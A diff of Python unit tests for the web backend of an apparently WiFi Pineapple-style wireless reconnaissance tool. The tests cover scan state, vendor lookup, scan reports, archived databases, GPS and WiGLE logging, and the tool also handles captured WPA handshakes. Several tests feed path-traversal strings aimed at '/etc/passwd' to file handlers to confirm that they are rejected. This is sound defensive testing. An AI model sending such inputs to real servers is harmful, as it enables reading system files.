self.assertTrue(data['scanning']) self.assertFalse(server._recon_scan_state['active'])
self.assertIsNone(data['scan_remaining'])
def test_default_start_is_continuous(self): def test_default_start_uses_thirty_seconds(self):
server.time.time = lambda: 1000.0 server.time.time = lambda: 1000.0
self._start() self._start()
status, data = self._status() status, data = self._status()
self.assertTrue(data['scanning']) self.assertTrue(data['scanning'])
self.assertIsNone(data['scan_remaining']) self.assertEqual(data['scan_remaining'], 30)
def test_stop_clears_scanning(self): def test_stop_rejects_active_native_scan(self):
server.time.time = lambda: 1000.0 server.time.time = lambda: 1000.0
self._start(scan_time=30) self._start(scan_time=30)
self._stop() status, data = self._stop()
self.assertEqual(status, 409)
self.assertIn('finish automatically', data['error'])
self.assertEqual(data['scan_remaining'], 30)
status, data = self._status() status, data = self._status()
self.assertFalse(data['scanning']) self.assertTrue(data['scanning'])
def test_stop_is_idempotent_when_inactive(self):
status, data = self._stop()
self.assertEqual(status, 200)
self.assertEqual(data, {'ok': True})
def test_start_failure_does_not_mark_scanning(self): def test_start_failure_does_not_mark_scanning(self):
server.time.time = lambda: 1000.0 server.time.time = lambda: 1000.0
@@ -276,14 +308,27 @@ class ReconScanStateTest(unittest.TestCase):
status, data = self._status() status, data = self._status()
self.assertFalse(data['scanning']) self.assertFalse(data['scanning'])
def test_watchdog_stops_expired_timed_scan(self): def test_start_while_scanning_returns_409_without_restart(self):
server.time.time = lambda: 1000.0
self._start(scan_time=30)
calls = [] calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True})
status, data = server.h_recon_start(
type('C', (), {'args': (), 'body': {'scan_time': 30}})())
self.assertEqual(status, 409)
self.assertEqual(data['scan_remaining'], 30)
self.assertEqual(calls, [])
status, data = self._status()
self.assertTrue(data['scanning'])
def test_watchdog_stops_expired_timed_scan(self):
server.time.time = lambda: 1000.0 server.time.time = lambda: 1000.0
self._start(scan_time=10) self._start(scan_time=10)
server.time.time = lambda: 1012.0 server.time.time = lambda: 1012.0
calls = []
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True}) server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True})
server._recon_watchdog_tick() server._recon_watchdog_tick()
self.assertEqual(calls, [('POST', '/api/pineap/log/recon/stop')]) self.assertEqual(calls, [])
self.assertFalse(server._recon_scan_state['active']) self.assertFalse(server._recon_scan_state['active'])
def test_watchdog_leaves_active_scan_alone(self): def test_watchdog_leaves_active_scan_alone(self):
@@ -316,6 +361,25 @@ class ReconExtrasTest(unittest.TestCase):
status, data = server.h_recon_status(type('C', (), {'args': ()})()) status, data = server.h_recon_status(type('C', (), {'args': ()})())
self.assertFalse(data['active']) self.assertFalse(data['active'])
def test_status_includes_hopper_and_history_flags(self):
with mock.patch.object(server, '_hopper_online', return_value=False), \
mock.patch.object(server, '_recon_history_reset', return_value=True):
status, data = server.h_recon_status(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertFalse(data['hopper_online'])
self.assertTrue(data['history_reset'])
def test_hopper_online_cached(self):
server._hopper_cache.update({'updated': 0, 'online': None})
with mock.patch.object(server, 'wifi_ifaces',
return_value=['wlan0mon', 'wlan1mon', 'wlan2mon']):
self.assertTrue(server._hopper_online())
# Second call within the cache window must not re-run iwinfo.
with mock.patch.object(server, 'wifi_ifaces',
side_effect=AssertionError('cached, must not call iwinfo')):
self.assertTrue(server._hopper_online())
server._hopper_cache['updated'] = 0 # let other tests start fresh
def test_delete_cascades(self): def test_delete_cascades(self):
server.recon_delete_scan(1) server.recon_delete_scan(1)
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM wifi_device') rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM wifi_device')
@@ -331,6 +395,15 @@ class ReconExtrasTest(unittest.TestCase):
status, data = server.h_recon_delete(type('C', (), {'args': ('999',)})()) status, data = server.h_recon_delete(type('C', (), {'args': ('999',)})())
self.assertEqual(status, 404) self.assertEqual(status, 404)
def test_delete_all_clears_every_scan(self):
status, data = server.h_recon_delete_all(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['deleted'], 2)
for table in ('scan', 'ssid', 'wifi_device', 'handshake',
'hostap_basic', 'hostap_chalresp'):
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM %s' % table)
self.assertEqual(rows[0]['c'], 0, table)
def test_events_lists_db_rows(self): def test_events_lists_db_rows(self):
status, data = server.h_recon_events(type('C', (), {'args': ()})()) status, data = server.h_recon_events(type('C', (), {'args': ()})())
self.assertEqual(status, 200) self.assertEqual(status, 200)
@@ -454,6 +527,21 @@ class CliFallbackTest(unittest.TestCase):
server.RECON_DB = '/nonexistent.db' server.RECON_DB = '/nonexistent.db'
self.assertEqual(server.decode_ssid('casaalicia\\x00.\\xde_'), 'casaalicia\x00.\ufffd_') self.assertEqual(server.decode_ssid('casaalicia\\x00.\\xde_'), 'casaalicia\x00.\ufffd_')
def test_completed_recon_lock_uses_immutable_read(self):
calls = []
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
def locked_then_read(args, timeout=20):
calls.append(args)
if len(calls) == 1:
return 5, '', 'Error: database is locked'
return 0, '[{"id": 2}]', ''
server.device_run = locked_then_read
rows = server._db_rows(self.db, 'SELECT MAX(id) AS id FROM scan')
self.assertEqual(rows, [{'id': 2}])
self.assertEqual(calls[1][-2], 'file:%s?immutable=1' % self.db)
def make_hs_db(): def make_hs_db():
db = make_db() db = make_db()
@@ -597,3 +685,525 @@ class HandshakeRoutesTest(unittest.TestCase):
self.assertEqual(data['files'], []) self.assertEqual(data['files'], [])
self.assertEqual(data['handshakes'], []) self.assertEqual(data['handshakes'], [])
self.assertEqual(os.listdir(self.dir), ['.hidden']) self.assertEqual(os.listdir(self.dir), ['.hidden'])
class OuiVendorTest(unittest.TestCase):
def test_oui_prefix_forms(self):
self.assertEqual(server._oui_prefix('C8:9E:43:64:80:80'), 'C89E43')
self.assertEqual(server._oui_prefix('C89E43648080'), 'C89E43')
self.assertEqual(server._oui_prefix('c8:9e:43:64:80:80'), 'C89E43')
self.assertIsNone(server._oui_prefix(None))
self.assertIsNone(server._oui_prefix(''))
self.assertIsNone(server._oui_prefix('XX:YY:ZZ:00:00:00'))
def test_oui_vendor_lookup(self):
self.assertEqual(server.oui_vendor('B8:27:EB:00:00:00'), 'Raspberry Pi')
self.assertEqual(server.oui_vendor('10:BF:48:00:00:00'), 'Apple')
self.assertEqual(server.oui_vendor('14:CC:20:00:00:00'), 'TP-Link')
self.assertEqual(server.oui_vendor('FC:63:3E:00:00:00'), 'Google')
def test_oui_vendor_unknown_and_local(self):
self.assertEqual(server.oui_vendor('C8:9E:43:64:80:80'), 'Unknown')
self.assertEqual(server.oui_vendor('AE:77:C0:EB:31:41'), 'Local')
self.assertEqual(server.oui_vendor(None), 'Unknown')
self.assertEqual(server.oui_vendor('--'), 'Unknown')
def test_band_of_frequencies(self):
self.assertEqual(server.band_of(2412), '2.4')
self.assertEqual(server.band_of(5200), '5')
self.assertEqual(server.band_of(6180), '6')
self.assertEqual(server.band_of(0), '--')
self.assertEqual(server.band_of(None), '--')
def test_curated_table_has_no_garbage_keys(self):
for key in server.OUI_VENDORS:
self.assertRegex(key, r'^[0-9A-F]{6}$')
self.assertNotIn('349A...', server.OUI_VENDORS)
class ReconEnrichmentTest(unittest.TestCase):
def setUp(self):
self.db = make_db()
server.RECON_DB = self.db
def tearDown(self):
os.unlink(self.db)
def test_scan_detail_enriches_aps(self):
data = server.recon_scan_data(1)
aps = {a['bssid']: a for a in data['aps']}
a = aps['C8:9E:43:64:80:80']
self.assertEqual(a['band'], '5')
self.assertEqual(a['vendor'], 'Unknown')
self.assertEqual(a['first_seen'], 1786466532)
self.assertEqual(a['last_seen'], 1786466532)
hidden = aps['50:6F:9A:01:00:00']
self.assertEqual(hidden['band'], '5')
self.assertEqual(hidden['vendor'], 'Unknown')
def test_scan_detail_unassociated_count(self):
data = server.recon_scan_data(1)
self.assertEqual(data['unassociated'], 1)
def test_scan_detail_bounded_mode_counts_unassociated(self):
data = server.recon_scan_data(1, _limit=1)
self.assertEqual(data['unassociated'], 1)
self.assertEqual(len(data['aps']), 2)
self.assertLessEqual(len(data['clients']), 1)
self.assertEqual(data['scan']['id'], 1)
def test_first_last_seen_span_multiple_rows(self):
conn = sqlite3.connect(self.db)
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
"VALUES (30, 2, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0, 1786466540, -80, 5745, 149, 0x400400108)")
conn.commit()
conn.close()
data = server.recon_scan_data(1)
a = [a for a in data['aps'] if a['bssid'] == 'C8:9E:43:64:80:80'][0]
self.assertEqual(a['first_seen'], 1786466532)
self.assertEqual(a['last_seen'], 1786466540)
def test_band_for_24ghz_ap(self):
conn = sqlite3.connect(self.db)
conn.execute("INSERT INTO wifi_device (hash, scan, mac, time, signal, freq, packets) VALUES (3, 1, 'FC633E000001', 1786466533, -60, 2412, 4)")
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
"VALUES (31, 3, 1, 8, 'FC633E000001', X'4E6574776F726B', 0, 1786466533, -60, 2412, 6, 0x08)")
conn.commit()
conn.close()
data = server.recon_scan_data(1)
a = [a for a in data['aps'] if a['bssid'] == 'FC:63:3E:00:00:01'][0]
self.assertEqual(a['band'], '2.4')
self.assertEqual(a['vendor'], 'Google')
def test_scan_detail_handler_is_bounded_and_retried(self):
seen = {}
orig = server.recon_scan_data
def fake(scan_id, _timeout=20, _limit=None, db=None):
seen['limit'] = _limit
seen['db'] = db
return orig(scan_id, _timeout=_timeout, _limit=_limit, db=db)
with mock.patch.object(server, 'recon_scan_data', side_effect=fake), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_scan_detail(type('C', (), {'args': ('1',)})())
self.assertEqual(status, 200)
self.assertEqual(seen['limit'], 300)
# The live handler relies on the default, which resolves to RECON_DB.
self.assertIsNone(seen['db'])
self.assertEqual(data['scan']['id'], 1)
def test_scan_detail_handler_503_on_lock(self):
with mock.patch.object(server, 'recon_scan_data',
side_effect=RuntimeError('sqlite read failed: locked')), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_scan_detail(type('C', (), {'args': ('1',)})())
self.assertEqual(status, 503)
self.assertIn('temporarily unavailable', data['error'])
class ReconReportTest(unittest.TestCase):
def setUp(self):
self.db = make_db()
server.RECON_DB = self.db
def tearDown(self):
os.unlink(self.db)
def _ctx(self, args=()):
return type('C', (), {'args': args, 'body': {}})()
def test_csv_download_contains_aps_and_unassociated(self):
status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/csv')
self.assertEqual(payload.filename, 'scan-1.csv')
text = payload.data.decode('utf-8')
self.assertIn('Anderson-5', text)
self.assertIn('unassociated,1', text)
self.assertIn('C8:9E:43:64:80:80', text)
def test_html_download_contains_stats(self):
with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/html')
self.assertEqual(payload.filename, 'scan-1.html')
text = payload.data.decode('utf-8')
self.assertIn('Scan #1', text)
self.assertIn('Anderson-5', text)
self.assertIn('WPA3 WPA2', text)
# stat cards
self.assertIn('stat-card', text)
self.assertIn('Unassociated', text)
# band + encryption breakdowns
self.assertIn('Band Breakdown', text)
self.assertIn('Encryption Breakdown', text)
self.assertIn('WPA2', text)
# channel occupancy table
self.assertIn('Channel Occupancy', text)
self.assertIn('5 GHz', text)
self.assertIn('>149<', text)
# color-coded signal cells
self.assertIn('sig-weak', text)
self.assertIn('sig-good', text)
self.assertIn('-76 dBm', text)
# no GPS line without a fix
self.assertNotIn('GPS:', text)
def test_html_report_includes_gps_when_locked(self):
with mock.patch.object(server, '_gps_status_data',
return_value={'lock': True, 'lat': 37.7,
'lon': -122.4, 'satellites': 8}):
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
text = payload.data.decode('utf-8')
self.assertIn('GPS: 37.70000, -122.40000', text)
self.assertIn('8 sats', text)
def test_download_404_for_missing_scan(self):
status, payload = server.h_recon_scan_download_csv(self._ctx(('999',)))
self.assertEqual(status, 404)
status, payload = server.h_recon_scan_download_html(self._ctx(('999',)))
self.assertEqual(status, 404)
def test_download_503_when_db_unavailable(self):
with mock.patch.object(server, 'recon_scan_data',
side_effect=RuntimeError('sqlite read failed: locked')), \
mock.patch.object(server.time, 'sleep'):
status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
self.assertEqual(status, 503)
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
self.assertEqual(status, 503)
class ReconArchivesTest(unittest.TestCase):
"""Read-only history from pineapd-rotated databases (error-*-recon.db)."""
def setUp(self):
self.dir = tempfile.mkdtemp()
self.addCleanup(shutil.rmtree, self.dir)
self.archive_name = 'error-2026-08-18-19:21:42Z-recon.db'
tmp = make_db()
self.addCleanup(os.unlink, tmp)
server.RECON_DB = os.path.join(self.dir, 'recon.db')
shutil.copy(tmp, server.RECON_DB)
archive = os.path.join(self.dir, self.archive_name)
shutil.copy(tmp, archive)
conn = sqlite3.connect(archive)
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u3', 1786467000, 'pager')")
conn.commit()
conn.close()
def tearDown(self):
server._recon_archives_cache.update({'dir': None, 'updated': 0, 'data': None})
def _ctx(self, args=()):
return type('C', (), {'args': args, 'body': {}})()
def test_archives_list_finds_rotated_db(self):
data = server.recon_archives_data()
self.assertEqual(len(data['archives']), 1)
a = data['archives'][0]
self.assertEqual(a['id'], self.archive_name)
self.assertEqual(a['min_id'], 1)
self.assertEqual(a['max_id'], 3)
self.assertEqual(a['scans_count'], 3)
self.assertEqual([s['id'] for s in a['scans']], [3, 2, 1])
def test_archives_list_is_cached_per_directory(self):
orig = server.recon_scans_data
calls = []
def fake(limit=50, _timeout=20, db=None):
calls.append(db)
return orig(limit=limit, _timeout=_timeout, db=db)
with mock.patch.object(server, 'recon_scans_data', side_effect=fake):
server.recon_archives_data()
server.recon_archives_data()
# Second call within the cache window must not re-scan the archives.
self.assertEqual(len(calls), 1)
self.assertTrue(calls[0].endswith(self.archive_name))
def test_archive_path_rejects_traversal(self):
self.assertIsNone(server._recon_archive_path('..%2F..%2Fetc%2Fpasswd'))
self.assertIsNone(server._recon_archive_path('../etc/passwd'))
self.assertIsNone(server._recon_archive_path('error-x-recon.db/../evil'))
self.assertIsNone(server._recon_archive_path('random.db'))
self.assertIsNone(server._recon_archive_path(''))
self.assertIsNotNone(server._recon_archive_path(self.archive_name))
def test_archive_scan_detail_reads_archive_not_live(self):
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '3')))
self.assertEqual(status, 200)
self.assertEqual(data['scan']['id'], 3)
# The live db has no scan 3; the archive must be the source.
self.assertIsNone(server.recon_scan_data(3))
def test_archive_scan_detail_is_bounded(self):
seen = {}
orig = server.recon_scan_data
def fake(scan_id, _timeout=20, _limit=None, db=None):
seen.update({'limit': _limit, 'db': db})
return orig(scan_id, _timeout=_timeout, _limit=_limit, db=db)
with mock.patch.object(server, 'recon_scan_data', side_effect=fake), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(seen['limit'], 300)
self.assertTrue(seen['db'].endswith(self.archive_name))
def test_archive_scans_list(self):
status, data = server.h_recon_archive_scans(self._ctx((self.archive_name,)))
self.assertEqual(status, 200)
self.assertEqual([s['id'] for s in data['scans']], [3, 2, 1])
def test_archive_handlers_404_for_missing(self):
status, data = server.h_recon_archive_scans(self._ctx(('nope.db',)))
self.assertEqual(status, 404)
status, data = server.h_recon_archive_scan_detail(self._ctx(('nope.db', '1')))
self.assertEqual(status, 404)
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '999')))
self.assertEqual(status, 404)
def test_archive_downloads(self):
status, payload = server.h_recon_archive_scan_download(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, 'scan-1.json')
self.assertIn(b'Anderson-5', payload.data)
status, payload = server.h_recon_archive_scan_download_csv(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/csv')
self.assertIn(b'C8:9E:43:64:80:80', payload.data)
status, payload = server.h_recon_archive_scan_download_html(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertEqual(payload.ctype, 'text/html')
text = payload.data.decode('utf-8')
self.assertIn('archived history', text)
self.assertIn('Anderson-5', text)
def test_archive_html_omits_current_gps(self):
# An archive is historical; attaching a current fix would mislead.
with mock.patch.object(server, '_gps_status_data',
return_value={'lock': True, 'lat': 37.7, 'lon': -122.4}):
status, payload = server.h_recon_archive_scan_download_html(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 200)
self.assertNotIn('GPS:', payload.data.decode('utf-8'))
def test_archive_detail_503_on_lock(self):
with mock.patch.object(server, 'recon_scan_data',
side_effect=RuntimeError('sqlite read failed: locked')), \
mock.patch.object(server.time, 'sleep'):
status, data = server.h_recon_archive_scan_detail(
self._ctx((self.archive_name, '1')))
self.assertEqual(status, 503)
self.assertIn('temporarily unavailable', data['error'])
class GpsTest(unittest.TestCase):
def setUp(self):
server._gps_cache.update({'updated': 0, 'data': None})
@unittest.skipIf(os.name == 'nt', 'symlinks are not reliably available on Windows')
def test_serial_candidates_detect_bypath_targets(self):
d = tempfile.mkdtemp()
self.addCleanup(shutil.rmtree, d)
self.addCleanup(setattr, server, 'SERIAL_DIR', server.SERIAL_DIR)
server.SERIAL_DIR = d
os.symlink('/dev/ttyACM0', os.path.join(d, '1.3_1-1.3:1.0'))
os.symlink('/dev/ttyACM1', os.path.join(d, '1.3_1-1.3:1.2'))
with open(os.path.join(d, 'not-a-serial'), 'w') as f:
f.write('x')
candidates = server._gps_serial_candidates()
names = [name for name, _ in candidates]
self.assertEqual(names, ['1.3_1-1.3:1.0', '1.3_1-1.3:1.2'])
def test_gps_status_passthrough(self):
with mock.patch.object(server, '_gps_status_data_nocache',
return_value={'present': True, 'wigle': True}):
status, data = server.h_recon_gps(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertTrue(data['present'])
self.assertTrue(data['wigle'])
def test_gps_status_skips_hak5cmd_when_gpsd_down(self):
# GPS_GET can block for seconds when gpsd is down; it must not run.
with mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_gps_serial_candidates', return_value=[]), \
mock.patch.object(server, '_wigle_config', return_value={'logwigle': False}), \
mock.patch.object(server, '_gpsd_running', return_value=False), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_from_hak5cmd',
side_effect=AssertionError('GPS_GET must not run when gpsd is down')) as hak5:
data = server._gps_status_data_nocache()
self.assertFalse(data['gpsd_running'])
hak5.assert_not_called()
def test_gps_status_falls_back_to_hak5cmd_when_gpsd_up(self):
with mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_gps_serial_candidates', return_value=[]), \
mock.patch.object(server, '_wigle_config', return_value={'logwigle': False}), \
mock.patch.object(server, '_gpsd_running', return_value=True), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_from_hak5cmd',
return_value={'fix': 3, 'lat': 37.7, 'lon': -122.4, 'satellites': 8}):
data = server._gps_status_data_nocache()
self.assertEqual(data['lat'], 37.7)
self.assertEqual(data['satellites'], 8)
def test_configure_binds_preferred_device_and_locks(self):
candidates = [('1.2_1-1.2:1.0', '/dev/1.2'), ('1.3_2-1.3:1.0', '/dev/1.3')]
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
mock.patch.object(server, '_uci_gps_get', return_value='1.3_2-1.3:1.0'), \
mock.patch.object(server, '_uci_gps_set') as uci_set, \
mock.patch.object(server, '_gpsd_restart'), \
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
mock.patch.object(server, '_gps_from_gpspipe',
return_value={'fix': 3, 'lat': 37.7, 'lon': -122.4, 'satellites': 8}), \
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertTrue(data['lock'])
self.assertEqual(data['tried'], ['1.3_2-1.3:1.0'])
uci_set.assert_called_once_with('1.3_2-1.3:1.0')
def test_configure_no_candidates_errors(self):
with mock.patch.object(server, '_gps_serial_candidates', return_value=[]):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertIn('error', data)
def test_configure_fallback_binds_first_with_note(self):
candidates = [('1.2_1-1.2:1.0', '/dev/1.2'), ('1.3_2-1.3:1.0', '/dev/1.3')]
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_uci_gps_set'), \
mock.patch.object(server, '_gpsd_restart'), \
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['device'], '1.2_1-1.2:1.0')
self.assertIn('waiting for a fix', data['note'])
def test_configure_tries_at_most_three_candidates(self):
candidates = [(str(i), '/dev/%d' % i) for i in range(5)]
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
mock.patch.object(server, '_uci_gps_get', return_value=None), \
mock.patch.object(server, '_uci_gps_set'), \
mock.patch.object(server, '_gpsd_restart'), \
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
self.assertEqual(status, 200)
self.assertEqual(data['tried'], ['0', '1', '2'])
class WigleTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
self._orig = server.WIGLE_DIR
server.WIGLE_DIR = self.dir
def tearDown(self):
server.WIGLE_DIR = self._orig
shutil.rmtree(self.dir)
def _ctx(self, args=(), body=None):
return type('C', (), {'args': args, 'body': body or {}})()
def _write(self, name, content):
with open(os.path.join(self.dir, name), 'w') as f:
f.write(content)
def test_file_rows_count_excludes_header(self):
self._write('a.csv', 'header\nr1\nr2\n')
self._write('b.csv', 'onlyheader\n')
status, data = server.h_recon_wigle_files(self._ctx())
self.assertEqual(status, 200)
files = {f['name']: f for f in data['files']}
self.assertEqual(files['a.csv']['rows'], 2)
self.assertEqual(files['b.csv']['rows'], 0)
self.assertEqual(files['a.csv']['size'], len('header\nr1\nr2\n'))
def test_file_rows_count_ignores_wigle_meta_and_header(self):
meta = 'WigleWifi-1.6,appRelease=0.0.0,model=pineapplepager,release=0.0.0\n'
header = 'MAC,SSID,AuthMode,FirstSeen,Channel,Frequency,RSSI,CurrentLatitude,CurrentLongitude\n'
self._write('empty.csv', meta + header)
self._write('full.csv', meta + header + 'AA:BB:CC:DD:EE:FF,test,0,,1,2412,-60,37.7,-122.4\n')
status, data = server.h_recon_wigle_files(self._ctx())
files = {f['name']: f for f in data['files']}
self.assertEqual(files['empty.csv']['rows'], 0)
self.assertEqual(files['full.csv']['rows'], 1)
def test_file_download(self):
self._write('wigle-1.csv', 'lat,lon\n37.7,-122.4\n')
status, payload = server.h_recon_wigle_file(self._ctx(('wigle-1.csv',)))
self.assertEqual(status, 200)
self.assertEqual(payload.filename, 'wigle-1.csv')
self.assertIn(b'37.7', payload.data)
def test_file_download_404_and_traversal(self):
status, payload = server.h_recon_wigle_file(self._ctx(('missing.csv',)))
self.assertEqual(status, 404)
status, payload = server.h_recon_wigle_file(self._ctx(('..%2F..%2Fetc%2Fpasswd',)))
self.assertEqual(status, 404)
def test_toggle_enable_and_disable(self):
with mock.patch.object(server, '_wigle_set', return_value=(200, {'ok': True})), \
mock.patch.object(server, 'hak5') as hak5, \
mock.patch.object(server, 'wigle_files_data',
return_value={'files': [{'name': 'w.csv'}]}):
status, data = server.h_recon_wigle(self._ctx(body={'enable': True}))
self.assertEqual(status, 200)
self.assertTrue(data['wigle'])
self.assertEqual(data['filename'], 'w.csv')
hak5.assert_called_once_with('WIGLE_START', timeout=10)
status, data = server.h_recon_wigle(self._ctx(body={'enable': False}))
self.assertEqual(status, 200)
self.assertFalse(data['wigle'])
hak5.assert_called_with('WIGLE_STOP', timeout=10)
class ReconRoutesTest(unittest.TestCase):
def test_new_routes_registered(self):
expected = [
('GET', '/api/recon/scans/1/download/csv', 'h_recon_scan_download_csv'),
('GET', '/api/recon/scans/1/download/html', 'h_recon_scan_download_html'),
('GET', '/api/recon/gps', 'h_recon_gps'),
('POST', '/api/recon/gps/configure', 'h_recon_gps_configure'),
('POST', '/api/recon/wigle', 'h_recon_wigle'),
('GET', '/api/recon/wigle/files', 'h_recon_wigle_files'),
('GET', '/api/recon/wigle/files/x.csv', 'h_recon_wigle_file'),
('GET', '/api/recon/archives', 'h_recon_archives'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans', 'h_recon_archive_scans'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1', 'h_recon_archive_scan_detail'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/json', 'h_recon_archive_scan_download'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/csv', 'h_recon_archive_scan_download_csv'),
('GET', '/api/recon/archives/error-2026-08-18-19:21:42Z-recon.db/scans/1/download/html', 'h_recon_archive_scan_download_html'),
]
for method, path, handler in expected:
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNotNone(h, '%s %s' % (method, path))
self.assertEqual(h.__name__, handler, '%s %s' % (method, path))
def test_survey_routes_are_gone(self):
for method, path in [('GET', '/api/recon/survey/live'),
('POST', '/api/recon/survey/start'),
('GET', '/api/recon/surveys'),
('GET', '/api/recon/surveys/abc'),
('DELETE', '/api/recon/surveys/abc')]:
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNone(h, '%s %s should not be registered' % (method, path))
def test_original_recon_routes_unchanged(self):
for path in ['/api/recon/start', '/api/recon/status', '/api/recon/scans',
'/api/recon/events']:
method = 'GET' if path.endswith(('status', 'scans', 'events')) else 'POST'
h, args = server.ROUTER.dispatch(method, path)
self.assertIsNotNone(h, path)